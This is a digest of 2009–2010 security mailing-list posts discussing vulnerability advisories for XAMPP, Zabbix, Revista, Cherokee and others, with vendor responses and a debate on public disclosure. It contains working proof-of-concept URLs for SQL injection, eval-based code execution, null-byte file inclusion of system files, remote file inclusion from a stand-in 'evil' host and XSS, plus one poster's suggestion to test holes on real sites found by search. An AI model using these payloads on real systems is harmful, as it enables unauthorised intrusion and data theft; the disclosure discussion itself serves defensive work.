> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
